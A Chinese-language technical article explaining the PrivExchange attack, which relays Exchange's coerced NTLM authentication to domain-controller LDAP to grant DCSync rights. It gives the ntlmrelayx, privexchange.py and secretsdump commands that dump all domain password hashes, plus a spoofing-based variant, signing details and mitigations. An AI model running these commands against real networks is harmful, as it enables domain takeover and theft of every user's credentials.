滥用Exchange:距离获取域管权限只差一次API调用
字数 1949 2025-08-27 12:33:42
滥用Exchange权限提升攻击:从邮箱用户到域管理员
0x00 攻击概述
本攻击方法利用了Exchange服务器在Active Directory中的高权限,结合NTLM中继攻击技术,使攻击者能够从任意邮箱用户权限提升至域管理员权限。该攻击在默认配置下的Exchange环境中普遍有效,影响90%以上的Exchange部署。
0x01 攻击组件
攻击由三个关键组件组成:
- Exchange服务器的高权限:Exchange Windows Permissions组对AD域对象具有WriteDacl权限
- NTLM认证协议的脆弱性:易受中继攻击影响
- Exchange的PushSubscription功能:可诱导Exchange服务器向攻击者控制的URL发起认证
0x02 Exchange的高权限问题
Exchange服务器在AD中默认拥有过高权限:
- "Exchange Windows Permissions"组对域对象具有WriteDacl访问权限
- 该权限允许修改域权限,包括添加DCSync权限
- 拥有DCSync权限可同步AD中所有用户的密码哈希
0x03 NTLM中继攻击技术
基本原理
- 攻击者作为中间人,将受害者的NTLM认证数据中继到目标服务
- 关键点:必须使用HTTP协议而非SMB协议中继到LDAP
- 中继到LDAP后可修改目录对象权限,添加DCSync权限
技术限制
- 无法将SMB认证中继到LDAP,因为:
- SMB默认设置NTLMSSP_NEGOTIATE_SIGN标志
- LDAP要求所有消息必须签名
- 中继攻击无法提供有效签名
- HTTP认证默认不设置签名标志,适合中继到LDAP
0x04 诱导Exchange认证
利用Exchange的PushSubscription功能:
- 攻击者通过EWS API创建推送订阅
- 订阅指定攻击者控制的URL作为通知端点
- Exchange会定期向该URL发送通知,携带NTLM认证信息
- 即使邮箱无活动,也可设置定期通知(如每分钟一次)
0x05 完整攻击流程
所需工具
privexchange.py- 用于触发Exchange的认证ntlmrelayx.py- 用于中继NTLM认证到LDAP
攻击步骤
-
设置ntlmrelayx监听,目标为域控的LDAP服务:
ntlmrelayx.py -t ldap://域控服务器FQDN --escalate-user 要提升权限的用户名 -
运行privexchange.py触发Exchange认证:
python privexchange.py -ah 攻击者主机FQDN Exchange服务器FQDN -u 邮箱用户名 -d 域名 -
Exchange会向攻击者发起认证,被中继到域控LDAP
-
目标用户被添加DCSync权限
-
使用secretsdump导出所有用户哈希:
secretsdump.py 域名/用户名@域控服务器 -hashes :NTLM哈希 -
利用获取的哈希创建黄金票据或直接登录其他服务
0x06 无凭证攻击变种
即使没有初始凭证,也可通过以下方式发起攻击:
- 使用LLMNR/NBNS/mitm6欺骗技术
- 中继网络中的其他用户认证到Exchange EWS
- 使用这些凭证触发Exchange的回调
- 然后按照常规流程继续攻击
0x07 技术细节:签名与MIC
NTLM认证差异
-
HTTP认证:
- 默认不设置NTLMSSP_NEGOTIATE_SIGN标志
- 适合中继到LDAP
-
SMB认证:
- 默认设置NTLMSSP_NEGOTIATE_SIGN标志
- 中继到LDAP会失败,因为无法提供有效签名
MIC保护机制
- NTLMv2响应中包含AV_PAIR结构(MsvAvFlags)
- 当值为0x0002时,表示type 3消息包含MIC
- 修改NTLM消息会破坏MIC,导致认证失败
- 无法移除MIC,因为响应数据已用密码签名
0x08 缓解措施
主要防御手段
-
调整Exchange权限:
- 移除Exchange对域对象的过高权限
- 使用PowerScript清理危险权限
-
LDAP保护:
- 启用LDAP签名和通道绑定
- 阻止针对LDAP的中继攻击
-
网络限制:
- 阻止Exchange服务器向其他工作站发起任意连接
-
Exchange配置:
- 在IIS中启用身份认证扩展保护
- 不要在后端Exchange服务上启用,以免破坏功能
-
注册表修改:
- 删除特定注册表键,防止认证反射攻击
-
SMB保护:
- 强制Exchange服务器启用SMB签名
- 域内所有服务器和工作站都应启用
0x09 受影响版本
测试确认受影响的版本:
- Exchange 2013 (CU21) on Server 2012R2 → 中继到Server 2016 DC
- Exchange 2016 (CU11) on Server 2016 → 中继到Server 2019 DC
注意:即使采用RBAC分离权限的部署方案也可能受影响。